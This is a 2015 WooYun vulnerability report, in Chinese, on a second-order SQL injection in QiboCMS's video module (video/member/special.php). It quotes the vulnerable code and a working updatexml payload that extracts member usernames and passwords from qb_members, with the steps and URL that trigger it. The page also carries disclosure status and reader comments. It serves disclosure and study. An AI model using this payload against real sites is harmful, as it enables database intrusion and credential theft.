当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(13) 关注此漏洞

缺陷编号: WooYun-2015-116936

漏洞标题: 齐博视频系统二次注入(出数据)

相关厂商: 齐博CMS

漏洞作者: answer认证白帽子

提交时间: 2015-05-29 15:00

公开时间: 2015-09-01 15:03

漏洞类型: SQL注射漏洞

危害等级: 高

自评Rank: 20

漏洞状态: 漏洞已经通知厂商但是厂商忽略漏洞

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 白盒测试

5人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-05-29: 细节已通知厂商并且等待厂商处理中
2015-06-03: 厂商主动忽略漏洞,细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2015-07-28: 细节向核心白帽子及相关领域专家公开
2015-08-07: 细节向普通白帽子公开
2015-08-17: 细节向实习白帽子公开
2015-09-01: 细节向公众公开

简要描述:

rt

详细说明:

齐博视频最新版

漏洞文件:video/member/special.php (发布专题的地方)

关键代码:

115-121行

code 区域
elseif($job=='addsp')
{
if($step==2){
$yz=($groupdb[PassContributeSP]||$web_admin)?1:0;
$db->query("INSERT INTO `{$_pre}special` ( `fid` , `title` , `keywords` , `style` , `template` , `picurl` , `content` , `aids` ,`uid` , `username` , `posttime` , `list`, `allowpost`, `yz`, `banner` ) VALUES ('$postdb[fid]','$postdb[title]','$keywords','$style','','$postdb[picurl]','$postdb[content]','$aids','$lfjuid','$lfjid','$timestamp','$timestamp','$postdb[allowpost]','$yz','$postdb[banner]')");
refreshto("special.php?job=listsp","创建专题成功",1);
}





其中$aids没有初始化,由于伪全局的原因,所以用户可控。于是我们可以在这里向数据库引入单引号,虽然有全局转义,但是入库就被还原了。



出库的地方:(这个页面有很多出库的地方,我就挑一处来验证,其他请自查)

和上面是相同的文件

143-188行

code 区域
elseif($job=="show_iframe"){

$rsdb=$db->get_one("SELECT * FROM {$_pre}special WHERE uid='$lfjuid' AND id='$id'");
if(!$rsdb){
showerr("资料不存在",1);
}
if($act=="order")
{

unset($array);

foreach( $listdb AS $aid=>$list){
$list=$list*1000000+$aid;
$array[$list]=$aid;
echo $listdb.$list.$aid;//自己的
}
ksort($array);
$rsdb[aids]=implode(",",$array);
$db->query("UPDATE {$_pre}special SET aids='$rsdb[aids]' WHERE uid='$lfjuid' AND id='$id'");
}
if($act=="add"&&$aid)
{
unset($_detail);
$detail=explode(",",$rsdb[aids]);
if(count($detail)>100){
showerr("记录已到上限!",1);
}
if(!in_array($aid,$detail)){
if($detail[0]==''){unset($detail[0]);}
$_detail[a]=$aid;
$rsdb[aids]=$string=implode(",",array_merge($_detail,$detail));
$db->query("UPDATE {$_pre}special SET aids='$string' WHERE uid='$lfjuid' AND id='$id'");
}
}
if($act=="del"&&$aid)
{

$detail=explode(",",$rsdb[aids]);
foreach( $detail AS $key=>$value){
if($value==$aid){
unset($detail[$key]);
}
}
$rsdb[aids]=$string=implode(",",$detail);
$db->query("UPDATE {$_pre}special SET aids='$string' WHERE uid='$lfjuid' AND id='$id'");
}





在条件if($act=="del"&&$aid)满足的情况下会进行一个update的操作,$string就是从我们上一步入库的地方查询出来再赋值的,而这里$string没有任何过滤和转义就造成了注





证明在下面:

漏洞证明:

注:这里需要管理员在后台权限设置的地方开启会员发专题的权限,稍微有点局限的的方,但是大部分网站肯定会开的,不然设计这个功能来干嘛。。



1.先注册会员

2.来到 站内消息->视频系统->专题管理



1.png



点击发表专题

22.png



调好专题的内容,提交并且截包,在请求的地方添加,就是我画红线的地方,注意一定是加号而不是空格,#用url编码。

code 区域
11'+or+updatexml(1,concat(0x7e,(SELECT+concat(username,0x7e,password)+FROM+qb_members+limit+0,1)),1)%23





33.png





看数据库

44.png



成功插入语句



现在就是出数据的地方了,直接访问

http://**.**.**.**/video/member/special.php?job=show_iframe&act=del&aid=2&id=21



其中的id就是我们发表的专题的id,我们是不知道的,这太容易解决了,用burp爆破id看看返回包就可以了,很容易的毕竟纯数字。

看结果

QQ图片20150529135401.png





修复方案:

你懂的,出库检查

版权声明:转载请注明来源 answer@乌云


漏洞回应

厂商回应:

危害等级:无影响厂商忽略

忽略时间:2015-09-01 15:03

厂商回复:

漏洞Rank:15 (WooYun评价)

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(共0人评价):
登陆后才能进行评分

评价

  1. 2015-06-03 18:24 | 牛肉包子 ( 普通白帽子 | Rank:307 漏洞数:70 | baozisec)
    2

    这也走首页么?醉醉醉

  2. 2015-06-03 18:28 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    1

    @牛肉包子 人品啊。。。。我也没想到要走首页的

  3. 2015-06-03 21:16 | ′雨。 认证白帽子 ( 普通白帽子 | Rank:1332 漏洞数:198 | Only Code Never Lie To Me.)
    0

    @牛肉包子 土豆表示不服

  4. 2015-06-03 21:24 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    @′雨。雨牛这么闲。。。还不快去复习。。哈哈

  5. 2015-09-02 23:03 | 3ky7in4 ( 路人 | Rank:28 漏洞数:7 | 刷洞模式开启。 致:宝宝)
    0

    @answer 打扰大大,请问那个监控后台sql语句执行的web应用是什么?可否告知一下

  6. 2015-09-03 14:41 | answer 认证白帽子 ( 普通白帽子 | Rank:453 漏洞数:54 | 答案)
    0

    http://www.cnseay.com/ @3ky7in4

  7. 2015-09-04 18:29 | 3ky7in4 ( 路人 | Rank:28 漏洞数:7 | 刷洞模式开启。 致:宝宝)
    0

    @answer 谢谢你的指导。2333

登录后才能发表评论,请先 登录